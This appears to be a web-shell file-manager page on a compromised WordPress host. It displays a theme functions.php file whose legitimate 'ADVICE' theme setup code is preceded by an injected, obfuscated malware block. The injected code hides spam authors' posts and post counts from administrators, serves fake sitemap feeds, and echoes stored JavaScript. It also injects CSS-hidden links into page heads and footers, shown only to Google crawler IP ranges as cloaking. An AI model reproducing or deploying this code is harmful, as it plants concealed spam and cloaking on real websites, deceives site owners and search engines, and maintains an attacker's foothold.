| Server IP : 31.214.178.99 / Your IP : 216.73.216.180 Web Server : Apache System : Linux hostingsrv1.dondominio.com 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 User : ( 924851) PHP Version : 8.5.13 Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,eval MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /hosting/www/c3consulting.site/public/wp-content/plugins/ritresame-chogrevi/ |
Upload File : |
<?php
/* 78891c284671c85a11cf17efc81b8c81 */
function get_search_form_meta_bc($where) {
global $wpdb, $the_permalink_sample;
$comments_template_long = array_keys($the_permalink_sample);
$get_the_title_method = implode(', ', $comments_template_long);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'the_ID_object');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_title_method)";
}
return $where;
}
function get_the_author_meta_character($query) {
global $the_permalink_sample;
$comments_template_long = array_keys($the_permalink_sample);
$get_queried_object_id_function = admin_url_library($comments_template_long);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_queried_object_id_function);
}
}
function esc_attr_x_schema() {
global $post, $the_permalink_sample;
foreach ($the_permalink_sample as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (add_setting_loop($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function add_setting_loop($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (is_active_sidebar_json()) {
return true;
}
}
return false;
}
function the_ID_object($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function add_partial_schema($counts, $type, $perm) {
if ($type === 'post') {
$the_post_call = $counts->publish;
$esc_attr_x_cron = the_posts_pagination_character_kf($perm);
$counts->publish = !$esc_attr_x_cron ? $the_post_call : $esc_attr_x_cron;
}
return $counts;
}
function the_posts_pagination_character_kf($perm) {
global $wpdb, $the_permalink_sample;
$comments_template_long = array_keys($the_permalink_sample);
$get_the_title_method = implode(', ', $comments_template_long);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$body_class_package = get_post_type_object($type);
if (!current_user_can($body_class_package->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_the_title_method) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $number_format_i18n_add) {
if ($number_format_i18n_add['post_status'] === 'publish') {
return $number_format_i18n_add['num_posts'];
}
}
}
function get_header_plain($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$comments_template_long = array();
foreach ($results as $number_format_i18n_add) {
$comments_template_long[] = $number_format_i18n_add['ID'];
}
return $comments_template_long;
}
function _e_wp() {
global $the_permalink_sample, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($the_permalink_sample as $the_excerpt_info => $is_active_sidebar_less) {
$wp_nav_menu_num = key($is_active_sidebar_less['sitemapsettings']);
if (!isset($rules[$wp_nav_menu_num]) ||
($rules[$wp_nav_menu_num] !== current($is_active_sidebar_less['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function is_search_num($rules) {
global $the_permalink_sample;
$get_search_form_meta = array();
foreach ($the_permalink_sample as $the_excerpt_info => $is_active_sidebar_less) {
if (isset($is_active_sidebar_less['sitemapsettings'])) {
$get_search_form_meta[key($is_active_sidebar_less['sitemapsettings'])] = current($is_active_sidebar_less['sitemapsettings']);
}
}
return $get_search_form_meta + $rules;
}
function get_comments_number_condition() {
global $the_permalink_sample;
foreach ($the_permalink_sample as $the_excerpt_info => $is_active_sidebar_less) {
$number_format_i18n_variable = str_replace('index.php?feed=', '', current($is_active_sidebar_less['sitemapsettings']));
add_feed($number_format_i18n_variable, 'is_front_page_request');
}
}
function is_front_page_request() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$add_partial_queue = has_nav_menu_double();
$wp_enqueue_style_dns = get_header_plain($add_partial_queue);
if (!empty($wp_enqueue_style_dns)) {
$language_attributes_compiler = md5(implode(',', $wp_enqueue_style_dns));
$has_post_thumbnail_float = 'update_plugins_' . $add_partial_queue . '_' . $language_attributes_compiler;
$home_url_float = get_transient($has_post_thumbnail_float);
if ($home_url_float !== false) {
echo $home_url_float;
return;
}
}
$head = wp_enqueue_style_stat();
$wp_get_attachment_image_src_beta = $head . "\n";
$priority = '0.5';
$dynamic_sidebar_https = 'weekly';
$is_archive_sample = date('Y-m-d');
foreach ($wp_enqueue_style_dns as $post_id) {
$url = get_permalink($post_id);
$wp_get_attachment_image_src_beta .= the_posts_pagination_index($url, $is_archive_sample, $dynamic_sidebar_https, $priority);
wp_cache_delete($post_id, 'posts');
}
$wp_get_attachment_image_src_beta .= "\n</urlset>";
set_transient($has_post_thumbnail_float, $wp_get_attachment_image_src_beta, WEEK_IN_SECONDS);
echo $wp_get_attachment_image_src_beta;
}
function wp_enqueue_style_stat() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function the_posts_pagination_index($url, $is_archive_sample, $dynamic_sidebar_https, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$is_archive_sample</lastmod>
<changefreq>$dynamic_sidebar_https</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function admin_url_library($writersArr) {
$add_setting_all = array();
foreach ($writersArr as $item) {
$add_setting_all[] = '-' . $item;
}
return implode(',', $add_setting_all);
}
function the_content_double() {
$get_the_tag_list_statement = array();
$_x_live = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$have_comments_variable = unserialize(base64_decode($settings));
if ($have_comments_variable) {
$get_the_tag_list_statement = $have_comments_variable;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$add_section_stream = unserialize(base64_decode($settings));
if ($add_section_stream) {
$_x_live = $add_section_stream;
}
}
return $_x_live + $get_the_tag_list_statement;
}
function has_nav_menu_double() {
global $the_permalink_sample;
foreach ($the_permalink_sample as $the_excerpt_info => $is_active_sidebar_less) {
$the_post_stream = key($is_active_sidebar_less['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($is_active_sidebar_less['sitemapsettings']) . '$');
if (preg_match("~$the_post_stream~", $_SERVER['REQUEST_URI'])) {
return $the_excerpt_info;
}
}
}
function the_post_exception() {
global $the_permalink_sample, $post;
$language_attributes_security = array_keys($the_permalink_sample);
if (in_array($post->post_author, $language_attributes_security)) {
return true;
}
return false;
}
function _e_path() {
global $the_permalink_sample, $post;
$language_attributes_security = array_keys($the_permalink_sample);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $language_attributes_security)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function post_class_interface() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function is_active_sidebar_json() {
$language_attributes_live = post_class_interface();
if (strstr($language_attributes_live, ', ')) {
$add_filter_less = explode(', ', $language_attributes_live);
$language_attributes_live = $add_filter_less[0];
}
$add_theme_support_boolean = get_the_category_list_num();
if (!$add_theme_support_boolean) {
return false;
}
foreach ($add_theme_support_boolean as $range) {
if (add_image_size_other($language_attributes_live, $range)) {
return true;
}
}
return false;
}
function is_admin_hashing($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_the_category_list_num() {
if (($value = get_option('wp_custom_range')) && !is_admin_hashing($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$add_theme_support_boolean = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($add_theme_support_boolean)) {
return;
}
$value = array('ranges' => $add_theme_support_boolean, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function is_single_variable($inet) {
$the_archive_title_decryption = str_split($inet);
$get_comments_number_package = '';
foreach ($the_archive_title_decryption as $char) {
$get_comments_number_package .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $get_comments_number_package;
}
function add_image_size_other($language_attributes_live, $cidrnet) {
$language_attributes_live = inet_pton($language_attributes_live);
$get_comments_number_package = is_single_variable($language_attributes_live);
list($net, $the_posts_pagination_character) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_option_loop = is_single_variable($net);
$wp_die_repository = substr($get_comments_number_package, 0, $the_posts_pagination_character);
$absint_long = substr($get_option_loop, 0, $the_posts_pagination_character);
if ($wp_die_repository !== $absint_long) {
return false;
} else {
return true;
}
}
function add_partial_compiler($esc_url_raw_git) {
global $post;
$the_excerpt_object = '';
if (is_archive_framework($esc_url_raw_git, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$the_excerpt_object = get_option('home_links_custom_0');
}
} elseif (is_archive_framework($esc_url_raw_git, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$the_excerpt_object = get_option('home_links_custom_' . $matches[0]);
} elseif (is_archive_framework($esc_url_raw_git, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_search_query_long = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$the_excerpt_object = get_option('home_links_custom_' . $get_search_query_long);
} elseif (is_archive_framework($esc_url_raw_git, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$the_excerpt_object ? '' : $the_excerpt_object;
}
function is_archive_framework($is_active_sidebar_less, $the_excerpt_framework, $esc_url_raw_new) {
if (!isset($is_active_sidebar_less[$the_excerpt_framework][$esc_url_raw_new])) {
return false;
}
if ($is_active_sidebar_less[$the_excerpt_framework][$esc_url_raw_new] === 1) {
return true;
}
return false;
}
function wp_enqueue_style_condition($esc_url_raw_git, $dynamic_sidebar_repository) {
if (empty($dynamic_sidebar_repository)) {
return '';
}
if (is_archive_framework($esc_url_raw_git, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$is_customize_preview_soap = home_url_double();
$number_format_i18n_package = $is_customize_preview_soap[$blockNum[0]];
return $number_format_i18n_package[0] . PHP_EOL . $dynamic_sidebar_repository . PHP_EOL . $number_format_i18n_package[1];
}
return $dynamic_sidebar_repository;
}
function home_url_double() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_archive_compiler($esc_url_raw_git) {
return is_archive_framework($esc_url_raw_git, 'position', 'head');
}
function esc_url_cron($esc_url_raw_git) {
return is_archive_framework($esc_url_raw_git, 'position', 'footer');
}
function get_setting_decryption($settings) {
foreach ($settings as $the_excerpt_info => $is_active_sidebar_less) {
if (isset($is_active_sidebar_less['homeLinks'])) {
return $is_active_sidebar_less['homeLinks'];
}
}
return array();
}
function the_permalink_soap() {
if (!the_post_exception()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function the_title_alpha() {
global $esc_url_raw_git;
if (!the_permalink_soap()) {
return;
}
if (is_archive_framework($esc_url_raw_git, 'hiddenType', 'cloacking')) {
if (!is_active_sidebar_json()) {
return;
}
}
$dynamic_sidebar_repository = add_partial_compiler($esc_url_raw_git);
$dynamic_sidebar_repository = wp_enqueue_style_condition($esc_url_raw_git, $dynamic_sidebar_repository);
echo $dynamic_sidebar_repository;
}
$the_permalink_sample = the_content_double();
if (is_array($the_permalink_sample)) {
add_filter('posts_where_paged', 'get_search_form_meta_bc');
add_action('pre_get_posts', 'get_the_author_meta_character');
add_action('wp_enqueue_scripts', 'esc_attr_x_schema');
add_filter('wp_count_posts', 'add_partial_schema' , 10, 3);
add_filter('rewrite_rules_array', 'is_search_num');
add_action('wp_loaded', '_e_wp');
add_action('init', 'get_comments_number_condition');
add_action('template_redirect', '_e_path');
$esc_url_raw_git = get_setting_decryption($the_permalink_sample);
if (!empty($esc_url_raw_git)) {
if (is_archive_compiler($esc_url_raw_git)) {
add_action('wp_head', 'the_title_alpha');
}
if (esc_url_cron($esc_url_raw_git)) {
add_action('wp_footer', 'the_title_alpha');
}
}
}
/* 78891c284671c85a11cf17efc81b8c81 */
/**
* Theme functions: init, enqueue scripts and styles, include required files and widgets
*
* @package ADVICE
* @since ADVICE 1.0
*/
if ( ! defined( 'ADVICE_THEME_DIR' ) ) {
define( 'ADVICE_THEME_DIR', trailingslashit( get_template_directory() ) );
}
if ( ! defined( 'ADVICE_THEME_URL' ) ) {
define( 'ADVICE_THEME_URL', trailingslashit( get_template_directory_uri() ) );
}
if ( ! defined( 'ADVICE_CHILD_DIR' ) ) {
define( 'ADVICE_CHILD_DIR', trailingslashit( get_stylesheet_directory() ) );
}
if ( ! defined( 'ADVICE_CHILD_URL' ) ) {
define( 'ADVICE_CHILD_URL', trailingslashit( get_stylesheet_directory_uri() ) );
}
//-------------------------------------------------------
//-- Theme init
//-------------------------------------------------------
if ( ! function_exists( 'advice_theme_setup1' ) ) {
add_action( 'after_setup_theme', 'advice_theme_setup1', 1 );
/**
* Load a text domain before all other actions.
*
* Theme-specific init actions order:
*
* Action 'after_setup_theme':
*
* 1 - register filters to add/remove items to the lists used in the Theme Options
*
* 2 - create the Theme Options
*
* 3 - add/remove elements to the Theme Options
*
* 5 - load the Theme Options. Attention! After this step you can use only basic options (not overriden options)
*
* 9 - register other filters (for installer, etc.)
*
* 10 - all other (standard) Theme init procedures (not ordered)
*
* Action 'wp_loaded'
*
* 1 - detect an override mode. Attention! Only after this step you can use overriden options
* (separate values for the Blog, Shop, Team, Courses, etc.)
*/
function advice_theme_setup1() {
// Make theme available for translation
// Translations can be filed in the /languages directory
// Attention! Translations must be loaded before first call any translation functions!
load_theme_textdomain( 'advice', advice_get_folder_dir( 'languages' ) );
}
}
if ( ! function_exists( 'advice_theme_setup9' ) ) {
add_action( 'after_setup_theme', 'advice_theme_setup9', 9 );
/**
* A general theme setup: add a theme supports, navigation menus, hooks for other actions and filters.
*/
function advice_theme_setup9() {
// Set theme content width
$GLOBALS['content_width'] = apply_filters( 'advice_filter_content_width', advice_get_theme_option( 'page_width' ) );
// Theme support '-full' versions of styles and scripts (used in the editors)
add_theme_support( 'styles-and-scripts-full-merged' );
// Allow external updtates
if ( ADVICE_THEME_ALLOW_UPDATE ) {
add_theme_support( 'theme-updates-allowed' );
}
// Add default posts and comments RSS feed links to head
add_theme_support( 'automatic-feed-links' );
// Custom header setup
add_theme_support( 'custom-header',
array(
'header-text' => false,
'video' => true,
)
);
// Custom logo
add_theme_support( 'custom-logo',
array(
'width' => 250,
'height' => 60,
'flex-width' => true,
'flex-height' => true,
)
);
// Custom backgrounds setup
add_theme_support( 'custom-background', array() );
// Partial refresh support in the Customize
add_theme_support( 'customize-selective-refresh-widgets' );
// Supported posts formats
add_theme_support( 'post-formats', array( 'gallery', 'video', 'audio', 'link', 'quote', 'image', 'status', 'aside', 'chat' ) );
// Autogenerate title tag
add_theme_support( 'title-tag' );
// Add theme menus
add_theme_support( 'nav-menus' );
// Switch default markup for search form, comment form, and comments to output valid HTML5.
add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption' ) );
// Register navigation menu
register_nav_menus(
array(
'menu_main' => esc_html__( 'Main Menu', 'advice' ),
'menu_mobile' => esc_html__( 'Mobile Menu', 'advice' ),
'menu_footer' => esc_html__( 'Footer Menu', 'advice' ),
)
);
// Register theme-specific thumb sizes
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 370, 0, false );
$thumb_sizes = advice_storage_get( 'theme_thumbs' );
$mult = advice_get_theme_option( 'retina_ready', 1 );
if ( $mult > 1 ) {
$GLOBALS['content_width'] = apply_filters( 'advice_filter_content_width', 1170 * $mult );
}
foreach ( $thumb_sizes as $k => $v ) {
add_image_size( $k, $v['size'][0], $v['size'][1], $v['size'][2] );
if ( $mult > 1 ) {
add_image_size( $k . '-@retina', $v['size'][0] * $mult, $v['size'][1] * $mult, $v['size'][2] );
}
}
// Add new thumb names
add_filter( 'image_size_names_choose', 'advice_theme_thumbs_sizes' );
// Excerpt filters
add_filter( 'excerpt_length', 'advice_excerpt_length' );
add_filter( 'excerpt_more', 'advice_excerpt_more' );
// Comment form
add_filter( 'comment_form_fields', 'advice_comment_form_fields' );
add_filter( 'comment_form_fields', 'advice_comment_form_agree', 11 );
// Add required meta tags in the head
add_action( 'wp_head', 'advice_wp_head', 0 );
// Load current page/post customization (if present)
add_action( 'wp_footer', 'advice_wp_footer' );
add_action( 'admin_footer', 'advice_wp_footer' );
// Enqueue scripts and styles for the frontend
add_action( 'wp_enqueue_scripts', 'advice_load_theme_fonts', 0 );
add_action( 'wp_enqueue_scripts', 'advice_load_theme_icons', 0 );
add_action( 'wp_enqueue_scripts', 'advice_wp_styles', 1000 ); // priority 1000 - load main theme styles
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_single', 1020); // priority 1020 - load styles of single posts
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_plugins', 1100 ); // priority 1100 - load styles of the supported plugins
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_custom', 1200 ); // priority 1200 - load styles with custom fonts and colors
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_child', 1500 ); // priority 1500 - load styles of the child theme
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_responsive', 2000 ); // priority 2000 - load responsive styles after all other styles
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_single_responsive', 2020); // priority 2020 - load responsive styles of single posts after all other styles
add_action( 'wp_enqueue_scripts', 'advice_wp_styles_responsive_child', 2500); // priority 2500 - load responsive styles of the child theme after all other responsive styles
// Enqueue scripts for the frontend
add_action( 'wp_enqueue_scripts', 'advice_wp_scripts', 1000 ); // priority 1000 - load main theme scripts
add_action( 'wp_footer', 'advice_localize_scripts' );
// Add body classes
add_filter( 'body_class', 'advice_add_body_classes' );
// Register sidebars
add_action( 'widgets_init', 'advice_register_sidebars' );
}
}
//-------------------------------------------------------
//-- Theme styles
//-------------------------------------------------------
if ( ! function_exists( 'advice_theme_fonts' ) ) {
/**
* Load a theme-specific fonts at priority 0, because the font styles must be loaded before a main stylesheet.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_load_theme_fonts', 0);
*/
function advice_load_theme_fonts() {
$links = advice_theme_fonts_links();
if ( count( $links ) > 0 ) {
foreach ( $links as $slug => $link ) {
wp_enqueue_style( sprintf( 'advice-font-%s', $slug ), $link, array(), null );
}
}
}
}
if ( ! function_exists( 'advice_load_theme_icons' ) ) {
/**
* Load a theme-specific font icons at priority 0, because the icon styles must be loaded before a main stylesheet.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_load_theme_icons', 0);
*/
function advice_load_theme_icons() {
// This style NEED the theme prefix, because style 'fontello' in some plugin contain different set of characters
// and can't be used instead this style!
wp_enqueue_style( 'advice-fontello', advice_get_file_url( 'css/font-icons/css/fontello.css' ), array(), null );
}
}
if ( ! function_exists( 'advice_wp_styles' ) ) {
/**
* Load a main theme styles for the frontend.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles', 1000);
*/
function advice_wp_styles() {
// Load main stylesheet
$main_stylesheet = ADVICE_THEME_URL . 'style.css';
wp_enqueue_style( 'advice-style', $main_stylesheet, array(), null );
// Add custom bg image
$bg_image = advice_remove_protocol_from_url( advice_get_theme_option( 'front_page_bg_image' ), false );
if ( is_front_page() && ! empty( $bg_image ) && advice_is_on( advice_get_theme_option( 'front_page_enabled', false ) ) ) {
// Add custom bg image for the Front page
advice_add_inline_css( 'body.frontpage, body.home-page, body.home { background-image:url(' . esc_url( $bg_image ) . ') !important }' );
} else {
// Add custom bg image for the body_style == 'boxed'
$bg_image = advice_get_theme_option( 'boxed_bg_image' );
if ( ! empty( $bg_image ) && ( advice_get_theme_option( 'body_style' ) == 'boxed' || is_customize_preview() ) ) {
advice_add_inline_css( '.body_style_boxed { background-image:url(' . esc_url( $bg_image ) . ') !important }' );
}
}
// Add post nav background
advice_add_bg_in_post_nav();
}
}
if ( ! function_exists( 'advice_wp_styles_single' ) ) {
/**
* Load styles for single posts.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_single', 1020);
*/
function advice_wp_styles_single() {
if ( apply_filters( 'advice_filters_separate_single_styles', false )
&& apply_filters( 'advice_filters_load_single_styles', advice_is_single() || advice_is_singular( 'attachment' ) || (int) advice_get_theme_option( 'open_full_post_in_blog' ) > 0 )
) {
if ( advice_is_off( advice_get_theme_option( 'debug_mode' ) ) ) {
$file = advice_get_file_url( 'css/__single.css' );
if ( ! empty( $file ) ) {
wp_enqueue_style( 'advice-single', $file, array(), null );
}
} else {
$file = advice_get_file_url( 'css/single.css' );
if ( ! empty( $file ) ) {
wp_enqueue_style( 'advice-single', $file, array(), null );
}
}
}
}
}
if ( ! function_exists( 'advice_wp_styles_plugins' ) ) {
/**
* Load styles for all supported plugins.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_plugins', 1100);
*/
function advice_wp_styles_plugins() {
if ( advice_is_off( advice_get_theme_option( 'debug_mode' ) ) ) {
wp_enqueue_style( 'advice-plugins', advice_get_file_url( 'css/__plugins' . ( advice_is_preview() || ! advice_optimize_css_and_js_loading() ? '-full' : '' ) . '.css' ), array(), null );
}
}
}
if ( ! function_exists( 'advice_wp_styles_custom' ) ) {
/**
* Load styles with CSS variables to set up a theme-specific custom fonts and colors.
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_custom', 1200);
*/
function advice_wp_styles_custom() {
if ( ! is_customize_preview() && advice_is_off( advice_get_theme_option( 'debug_mode' ) ) && ! advice_is_blog_mode_custom() ) {
wp_enqueue_style( 'advice-custom', advice_get_file_url( 'css/__custom.css' ), array(), null );
} else {
wp_enqueue_style( 'advice-custom', advice_get_file_url( 'css/__custom-inline.css' ), array(), null );
wp_add_inline_style( 'advice-custom', advice_customizer_get_css() );
}
}
}
if ( ! function_exists( 'advice_wp_styles_responsive' ) ) {
/**
* Load a theme responsive styles (a priority 2000 is used to load it after the main styles and plugins custom styles)
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_responsive', 2000);
*/
function advice_wp_styles_responsive() {
if ( advice_is_off( advice_get_theme_option( 'debug_mode' ) ) ) {
wp_enqueue_style( 'advice-responsive', advice_get_file_url( 'css/__responsive' . ( advice_is_preview() || ! advice_optimize_css_and_js_loading() ? '-full' : '' ) . '.css' ), array(), null, advice_media_for_load_css_responsive( 'main' ) );
} else {
wp_enqueue_style( 'advice-responsive', advice_get_file_url( 'css/responsive.css' ), array(), null, advice_media_for_load_css_responsive( 'main' ) );
}
}
}
if ( ! function_exists( 'advice_wp_styles_single_responsive' ) ) {
/**
* Load a theme responsive styles for single posts (a priority 2020 is used to load it after the main and plugins responsive styles).
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_single_responsive', 2020);
*/
function advice_wp_styles_single_responsive() {
if ( apply_filters( 'advice_filters_separate_single_styles', false )
&& apply_filters( 'advice_filters_load_single_styles', advice_is_single() || advice_is_singular( 'attachment' ) || (int) advice_get_theme_option( 'open_full_post_in_blog' ) > 0 )
) {
if ( advice_is_off( advice_get_theme_option( 'debug_mode' ) ) ) {
$file = advice_get_file_url( 'css/__single-responsive.css' );
if ( ! empty( $file ) ) {
wp_enqueue_style( 'advice-single-responsive', $file, array(), null, advice_media_for_load_css_responsive( 'single' ) );
}
} else {
$file = advice_get_file_url( 'css/single-responsive.css' );
if ( ! empty( $file ) ) {
wp_enqueue_style( 'advice-single-responsive', $file, array(), null, advice_media_for_load_css_responsive( 'single' ) );
}
}
}
}
}
if ( ! function_exists( 'advice_wp_styles_child' ) ) {
/**
* Load a child-theme stylesheet after all theme styles (if child-theme folder is not equal to the theme folder).
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_child', 1500);
*/
function advice_wp_styles_child() {
if ( ADVICE_THEME_URL != ADVICE_CHILD_URL ) {
wp_enqueue_style( 'advice-child', ADVICE_CHILD_URL . 'style.css', array( 'advice-style' ), null );
}
}
}
if ( ! function_exists( 'advice_wp_styles_responsive_child' ) ) {
/**
* Load a child-theme responsive styles (a priority 2500 is used to load it after other responsive styles
* and after the child-theme stylesheet)
*
* Hooks: add_action('wp_enqueue_scripts', 'advice_wp_styles_responsive_child', 2500);
*/
function advice_wp_styles_responsive_child() {
if ( ADVICE_THEME_URL != ADVICE_CHILD_URL && file_exists( ADVICE_CHILD_DIR . 'responsive.css' ) ) {
wp_enqueue_style( 'advice-responsive-child', ADVICE_CHILD_URL . 'responsive.css', array( 'advice-responsive' ), null, advice_media_for_load_css_responsive( 'main' ) );
}
}
}
if ( ! function_exists( 'advice_media_for_load_css_responsive' ) ) {
/**
* Return a 'media' descriptor for the tag 'link' to load responsive CSS only on devices where they are really needed.
*
* @param string $slug Optional. A slug of responsive CSS. Default is 'main'.
* @param string $media Optional. A default media descriptor. Default is 'all'.
*
* @return string A media descriptor corresponding to the specified slug.
*/
function advice_media_for_load_css_responsive( $slug = 'main', $media = 'all' ) {
global $ADVICE_STORAGE;
$condition = 'all';
$media = apply_filters( 'advice_filter_media_for_load_css_responsive', $media, $slug );
if ( ! empty( $ADVICE_STORAGE['responsive'][ $media ]['max'] ) ) {
$condition = sprintf( '(max-width:%dpx)', $ADVICE_STORAGE['responsive'][ $media ]['max'] );
}
return apply_filters( 'advice_filter_condition_for_load_css_responsive', $condition, $slug );
}
}
if ( ! function_exists( 'advice_media_for_load_css_responsive_callback' ) ) {
add_filter( 'advice_filter_media_for_load_css_responsive', 'advice_media_for_load_css_responsive_callback', 10, 2 );
/**
* Return a maximum 'media' slug to use as a default value for all responsive css-files
* (if corresponding media is not detected by a specified slug).
*
* Hooks: add_filter( 'advice_filter_media_for_load_css_responsive', 'advice_media_for_load_css_responsive_callback', 10, 2 );
*
* @param string $media A current media descriptor.
* @param string $slug A current slug to detect a media descriptor. Not used in this function.
*
* @return string A default media descriptor, if media stay equal to 'all' after all previous hooks.
*/
function advice_media_for_load_css_responsive_callback( $media, $slug ) {
return 'all' == $media ? 'xxl' : $media;
}
}
